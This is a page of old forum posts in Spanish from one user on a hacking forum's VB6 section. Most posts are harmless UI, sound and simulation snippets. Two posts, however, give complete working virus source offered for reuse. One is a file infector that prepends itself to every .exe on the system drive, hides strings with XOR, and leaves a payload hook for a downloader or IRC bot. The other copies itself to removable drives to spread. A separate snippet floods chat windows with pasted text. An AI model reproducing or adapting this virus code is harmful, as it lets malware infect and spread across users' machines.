elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 [8] 9 10
71  Programación / Programación Visual Basic / [Source] MakeSkin - Crea un formulario con la forma que desees en: 8 Abril 2007, 20:35 pm
Encontré hace tiempo esta función, no la he programado yo. Sirve para dar forma a los formularios según la imagen de fondo que tengan, solo tienes que decirle que color será el usado para las transparencias, ejemplo: vbWhite, vbBlack, vbRed, etc...

Código
  1. Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
  2. Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  3. Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
  4. Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  5. Private Declare Function ReleaseCapture Lib "user32" () As Long
  6.  
  7. Private Sub Form_Load()
  8.    'Llamamos a la función, enviamos el nombre del Form y el Color de fondo
  9.    MakeSkin Form1, vbWhite
  10. End Sub
  11.  
  12. Private Sub MakeSkin(ByVal Frm As Form, ByVal BColor As Long)
  13.    'Función que "recorta" un formulario según su color de fondo.
  14.    Frm.BackColor = BColor
  15.    Tmp = GetWindowLong(Frm.hwnd, -20)
  16.    Tmp = Tmp Or &H80000
  17.    SetWindowLong Frm.hwnd, -20, &H80000
  18.    SetLayeredWindowAttributes Frm.hwnd, BColor, 0, &H1
  19. End Sub
  20.  
  21. Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
  22.    'Permite mover el formulario al hacer click encima de él
  23.    ReleaseCapture
  24.    SendMessage Me.hwnd, &HA1, 2, 0&
  25. End Sub
  26.  

Usar imagenes BMP y con solor de 32 bits, así no tendreis problemas... si os preocupa el tamaño final luego empaquetais con UPX y problema resuelto xD

Saludos!!
72  Programación / Programación Visual Basic / [Source] Water Image - Efecto para mostrar logos o imagenes en: 8 Abril 2007, 19:17 pm
He programado este sencillo efecto en VB, a partir de una imagen te genera otra igual pero con los píxeles más grandes y aleatórios, dando un efecto de "marca de agua" muy particular, esto lo veo apropiado para poner en las típicas ventanas de about o acerca de... de nuestros proyectos.

Código:
Private Sub Form_Load()
    On Error Resume Next
    Picture2.Height = Picture1.Height
    Picture2.Width = Picture1.Width
   
    'Cargamos 100 Timer's y los activamos
    For i = 0 To 100     'Bajar el valor para hacerlo mas lento
        Load Timer1(i)
        Timer1(i).Enabled = True
    Next i
End Sub

Private Sub Picture2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
 'Pintamos por donde movemos el mouse
 On Error Resume Next
 Randomize
 Picture2.ForeColor = Picture1.Point(X, Y)
 Picture2.PSet (X, Y)
 Picture2.DrawWidth = 5
End Sub

Private Sub Picture2_Click()
    'Borramos si hacemos click
    Picture2.Cls
End Sub

Private Sub Timer1_Timer(Index As Integer)
    'Pintamos puntitos aleatórios
    On Error Resume Next
    Randomize
    a = Int((Rnd * Picture1.Width) + 1)
    b = Int((Rnd * Picture1.Height) + 1)
    Picture2.ForeColor = Picture1.Point(a, b)
    Picture2.PSet (a, b)
    Picture2.DrawWidth = Int((Rnd * 5))
End Sub

Si no os funciona, bajaros el código completo que está adjunto a este post (solo usuarios registrados), funciona 100%

Saludos!!
73  Programación / Programación Visual Basic / [Source] Hacer sonidos a lo Spectrum FX en: 8 Abril 2007, 18:39 pm
Os dejo la sencilla API que permite hacer sonidos indicando su frecuencia y la duración en milisegundos:

Código:
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Para usarla solo poner en cualquier parte de tu código:

Beep 150,50

Así de facil!



Os dejo unos ejemplos hechos por mí:

Código:
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Private Sub Command1_Click()
 For i = 1 To 5
  Beep 700 * i, 450
 Next i
End Sub

Private Sub Command2_Click()
 Beep 4000, 3000
End Sub

Private Sub Command3_Click()
 For i = 1 To 30
  Beep 2 ^ i, 100
 Next i
End Sub

Private Sub Command4_Click()
 For x = 4 To 10
    For y = 1 To 50
        Beep x * (y + x), 5 + x
    Next y
 Next x
 Beep 2000, 500
End Sub

Private Sub Command5_Click()
    For x = 1 To 450
        s = Round(x Mod 5)
        Beep s * x, 30
    Next x
End Sub

Private Sub Command6_Click()
    Randomize
    For x = 1 To 10
        num = Int(Rnd * 1000) + 100
        dur = Int(Rnd * 100) + 50
       
        Beep num, dur
    Next x
End Sub

Y como siempre el código adjunto al post, saludos!!
74  Programación / Programación Visual Basic / [Source] Pixel Infection en: 7 Abril 2007, 23:47 pm
Buenas!!

En una de mis rayadas de fin de semana me ha dado por programarme un "mundo virtual" de seres pixelados, os dejo una foto del programa:



Hay 3 clases de píxeles:
  • Humanos
  • Virus
  • Doctores

Todos los bichitos se mueven aleatoriamente por la pantalla, cumpliendo unas normas básicas, estas son:

Citar
1) Si un Virus toca un Humano, el Humano se convertirá en Virus (50% de las veces).
2) So un Virus toca un Doctor, el Doctor se convertirá en Virus (30% de las veces)
3) Si un Doctor toca un Virus, el Virus se curará:
     El 70% de las veces se convertirá en Humano
     El 30% de las veces se convertirá en Doctor

Las reglas son sencillas, y como todo está programado bajo Randomize... a veces ganan los virus y otras veces los Humanos, pero tengo un problema, a ver si entre unos cuantos lo mejoramos...

1) Si dejamos un buen rato los bichitos enchufados, éstos terminan agrupándose en la parte superior izquierda (hay que solucionarlo)
2) Molaría añadir una raza nueva, por ejemplo Mujeres que ayudaran a reproducir más humanos
3) Molaría cambiar las leyes y poner, por ejemplo, hombres lobo y vampiros, etc...
4) Estaría bien añadir sonidos cuando infecten o desinfecten bichos, con la API Beep.

A parte el modo en el que está programado consume bastantes recursos, sería bueno mejorar este punto...



Dejo el código como curiosidad, no es muy útil pero a mi me divierten este tipo de cosas. Si conseguis mejorar algo o añadir cosas ponerlo en este post, el source esta comentado al máximo, si no se entiende algo me lo preguntais, pero creo que es facil de entender.

PD: La idea de este programa no es mía, ví un código similar en pscode, yo me he quedado con la idea y he hecho mejoras (como la raza de los médicos por ejemplo). Saludos!!

 :xD
75  Programación / Programación Visual Basic / [Source] Infección de ejecutables en VB6 en: 4 Abril 2007, 23:02 pm
Infección de Ejecutables en Visual Basic 6.0

Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección :P Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source :)

Como funciona?

1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada



Form1.frm
Código
  1. Private Sub Form_Load()
  2.    App.TaskVisible = False
  3.    If App.PrevInstance = True Then End
  4.    SelfCheck
  5. End Sub
  6.  

InfectModule.bas
Código
  1.  
  2. Function SelfCheck()
  3.    On Error Resume Next
  4.    Dim MyCode As String
  5.  
  6.    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
  7.    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
  8.        MyCode = Input(LOF(1), 1)
  9.    Close #1
  10.  
  11.    'Separa "MyCode" buscando la marca de infección (**X**)
  12.    Buffer = Split(MyCode, "(**X**)")
  13.  
  14.    If UBound(Buffer) = 1 Then
  15.        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
  16.        Hostage = Buffer(1)
  17.        DivideFiles Hostage
  18.    Else
  19.        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
  20.        Subfolders (Environ("SystemDrive") & "\")
  21.        DoEvents
  22.        End
  23.    End If
  24. End Function
  25.  
  26. Function DivideFiles(ByVal Hostage As String)
  27.    Randomize
  28.    On Error Resume Next
  29.    Dim TmpFile As String
  30.  
  31.    'Crea un archivo temporal con el código del Huésped, por ejemplo:
  32.    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
  33.    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
  34.  
  35.    Open TmpFile For Binary As #1
  36.        Put #1, , Hostage
  37.    Close #1
  38.  
  39.    DoEvents
  40.    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
  41.    Shell TmpFile, vbNormalFocus
  42.    Call ExecPayload
  43. End Function
  44.  
  45. Function InfectFile(ByVal Victim As String)
  46.    On Error Resume Next
  47.    Dim VictimCode As String
  48.    Dim NewCode As String
  49.    Dim MyCode As String
  50.  
  51.    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
  52.    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
  53.        MyCode = Input(LOF(1), 1)
  54.    Close #1
  55.  
  56.    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
  57.    Open Victim For Binary As #1
  58.        VictimCode = Input(LOF(1), 1)
  59.    Close #1
  60.  
  61.    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
  62.    NewCode = MyCode & "(**X**)" & VictimCode
  63.  
  64.    'Sobrescribe el archivo Huésed con el infectado
  65.    Open Victim For Binary As #1
  66.        Put #1, , NewCode
  67.    Close #1
  68. End Function
  69.  
  70. Function IsInfected(ByVal File As String) As Boolean
  71.    On Error Resume Next
  72.    Dim FileCode As String
  73.  
  74.    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
  75.    Open File For Binary As #1
  76.        FileCode = Input(LOF(1), 1)
  77.    Close #1
  78.  
  79.    'Separa "FileCode" buscando la marca de infección (**X**)
  80.    Buffer = Split(FileCode, "(**X**)")
  81.  
  82.    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
  83.    If UBound(Buffer) <> 0 Then
  84.        IsInfected = True
  85.    Else
  86.        IsInfected = False
  87.    End If
  88. End Function
  89.  
  90. Function Subfolders(path)
  91.    On Error Resume Next
  92.    'Se cifra el string que carga el objeto Scripting.FileSystemObject
  93.    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
  94.    Set Drives = fso.Drives
  95.  
  96.    newpath = path
  97.    Set Fold = fso.GetFolder(newpath)
  98.    Set Files = Fold.Files
  99.  
  100.    For Each File In Files
  101.        ext = fso.GetExtensionName(File.path)
  102.        ext = LCase(ext)
  103.        nam = LCase(File.Name)
  104.        If (ext = "exe") Then
  105.            If IsInfected(File.path) = False Then
  106.                InfectFile (File.path)
  107.                DoEvents
  108.            End If
  109.        End If
  110.    Next
  111.  
  112.    Set File = Fold.Subfolders
  113.    For Each Subfol In File
  114.        Call Subfolders(Subfol.path)
  115.    Next
  116. End Function
  117.  
  118. Function ExecPayload()
  119.    '#######################################################
  120.    '##  Si quieres que los archivos infectados ejecuten  ##
  121.    '##  la función de buscar e infectar nuevos archivos  ##
  122.    '##  elimina los comentario que hay a continuación    ##
  123.    '#######################################################
  124.  
  125.    'Subfolders (Environ("SystemDrive") & "\")
  126.    'DoEvents
  127.  
  128.    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
  129.    End
  130. End Function
  131.  

Encryption.bas
Código
  1. Function bullet(FullCode)
  2.    'Funcion que cifra Strings con el operador XOR
  3.  
  4.    For i = 1 To Len(FullCode)
  5.        Current = Mid(FullCode, i, 1)
  6.        Code = Chr(Asc(Current) Xor 2)
  7.        bullet = bullet + Code
  8.    Next
  9. End Function
  10.  



Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD

Ir con cuidado, Saludos!!
76  Programación / Programación Visual Basic / [Source] Infectar unidades extraibles (pendrive), unidades de red, etc... en: 3 Abril 2007, 00:03 am
Este sencillo código permite enumerar todas las unidades del sistema, descubrir de que tipo son (fijas, extraibles, CD, remotas, etc...) y copiar el virus en su interior.

Código
  1. Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
  2. Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
  3. Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  4.  
  5. Const DRIVE_REMOVABLE = 2
  6. Const DRIVE_FIXED = 3
  7. Const DRIVE_REMOTE = 4
  8. Const DRIVE_CDROM = 5
  9. Const DRIVE_RAMDISK = 6
  10.  
  11. 'Función para enumerar todas las unidades (sean del tipo que sean)
  12. Function EnumDrives() As String
  13.    Dim i As Long
  14.    Dim tmp As Long
  15.    Dim drives As String
  16.  
  17.    tmp = GetLogicalDrives()
  18.    If tmp Then
  19.        For i = 0 To 25
  20.            If (tmp And 2 ^ i) <> 0 Then
  21.                drives = drives & Chr$(i + 65) & ":#"
  22.            End If
  23.        Next
  24.    End If
  25.    EnumDrives = drives
  26.    'La variable drives almacena todas
  27.    'las unidades en formato "A:#C:#D:#E:#"
  28. End Function
  29.  
  30. Function GetType(ByVal drives As String)
  31.    Dim tmp() As String
  32.  
  33.    'Separamos las unidades según el caracter #
  34.    tmp = Split(drives, "#")
  35.    For i = 0 To UBound(tmp) - 1
  36.        If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
  37.            'Llamamos a la función de infectar la unidad
  38.            'si es del tipo DRIVE_REMOVABLE
  39.            Call InfectDrive("virus.exe", tmp(i))
  40.        End If
  41.    Next
  42. End Function
  43.  
  44. Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
  45.    'Importante, no siempre tenemos acceso de escritura
  46.    'en las unidades, sin esta linea podríamos "matar"
  47.    'nuestro virus :(
  48.    On Error Resume Next
  49.  
  50.    Dim MySelf As String
  51.    MySelf = String$(255, Chr$(0))
  52.  
  53.    'Obtenemos nuestra propia ruta
  54.    GetModuleFileName 0, MySelf, Len(MySelf)
  55.    'Nos copiamos en la unidad con el nombre de "virus.exe"
  56.    FileCopy MySelf, drive & "\" & FileName
  57. End Function
  58.  
  59. Private Sub Form_Load()
  60.    'Empieza la juerga!
  61.    Call GetType(EnumDrives)
  62. End Sub
  63.  

El código está comentado y no tiene mucha complicación, copiar y pegar en un proyecto nuevo y os funcionará.

Decirme si os gusta, si se puede mejorar algo, añadir funciones, etc...

Saludos!! vuestro amigo ||MadAntrax||
77  Programación / Programación Visual Basic / [Source] Cactus Joiner 2.5 FULL en: 1 Abril 2007, 01:47 am


Bueno, por la petición de varios usuario cuelgo el código fuente completo del Cactus Joiner 2.5 en su completa versión.

El programa en cuestión esta aqui. Con más de 1500 descargas por todos los usuarios del foro.

Para descargarlo haz click en: Cactus_Joiner_Source.zip (más abajo)

Y ya lo sabes... pon un Cactus en tu vida!


Saludos ;)
78  Programación / Programación Visual Basic / [+] Programazo: Code Advisor 6.0 en: 28 Marzo 2007, 23:01 pm
Hola gente!! Os quiero presentar una utilidad que a mí al menos me ha sorprendido:

Code Advisor 6.0 for VB6
Esta aplicación se integra dentro de Visual Basic 6.0 y nos permite con un simple click de ratón analizar todo nuestro código fuente en busca de errores o mejoras. La gracia de este programa esque te señala las mejoras atraves de comentarios directamente en el código, explicándote que es lo más correcto.

Me ha sorprendido por la capacidad y rapidez de análisis, te advierte que funciones serán incompatibles en .NET (por si quieres exportar tu proyecto) y una breve explicación. El programa está en perfecto español y es facilísimo de utilizar

Descarga del programa
=> Download Code Advisor 6.0 <=

Instalación del programa
Los 2 únicos requisitos son tener el último Service Pack para Visual Basic (o Visual Studio) que actualmente es la SP6.0 => CLICK AQUI
Y por último tener cerrado por completo el Visual Basic para que la instalación pueda integrarse correctamente. Cuando finalice la instalación abrimos nuestro Visual Basic y encontraremos una nueva barra de herramientas:



Usar el programa
Primero abrimos algún código ya escrito o empezamos uno nuevo, y en cualquier momento pulsamos sobre el primer botón de la barra, el programa empezará ha analizar el código y ha añadirte los comentarios de mejoras (si realmente los necesitas) y luego para visualizarlos podemos ir directamente al cñodigo o pulsar el tercer botón para desplazarnos por cada comentario automaticamente.

Lo que me gusta es que el programa solo te sugiere y te recomienda mejoras, pero no te altera el código si no quieres, aqui una captura:



Y por último añadir que el programa deja un reporte del estado de tu código, aquí os dejo un ejemplo de un código mio:

=> Ejemplo Reporte
79  Programación / Programación Visual Basic / [Source Code] - Mem Dumper 1.3 en: 25 Marzo 2007, 15:02 pm
Mem Dumper 1.3 - Source Code
Como siempre dejo el código fuente de mi nueva creación: Mem Dumper - Un programa para volcar la memoria de un proceso. Está escrito en VB6 y lo he comentado absolutamente todo, no creo que tengáis problemas para modificarlo a vuestro gusto. Pasaros por el post original para saber como funciona y probar los ejemplos con Hotmail, Steam y CuteFTP

[Proyecto] Mem Dumper 1.3 - Herramienta para volcar la memoria de un proceso

Saludos!! decirme si os gusta o que se puede mejorar/quitar/añadir, etc...

=> Descarga Mem Dump 1.1
=> Descarga Mem Dump 1.3
80  Programación / Programación Visual Basic / [+] MSN Kick - Codigo Fuente en: 26 Diciembre 2006, 19:57 pm
Bueno, como sois muchos los que me piden el código fuente del programa, lo posteo aqui. Vereis que es muy sencillo. También pongo un link para descargarlo completamente:

Código
  1. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  2.  
  3. Private Sub CommandXP1_Click()
  4.    CommandXP1.Enabled = False
  5.    Clipboard.Clear
  6.    Clipboard.SetText "Poner aqui el simbolo :[ muchas veces!!"
  7.    AppActivate "Conversación"
  8.    Sleep "50"
  9.    For i = 1 To 300
  10.        SendKeys "^v"
  11.        SendKeys "{ENTER}"
  12.    Next i
  13.    CommandXP1.Enabled = True
  14. End Sub
  15.  
Páginas: 1 2 3 4 5 6 7 [8] 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines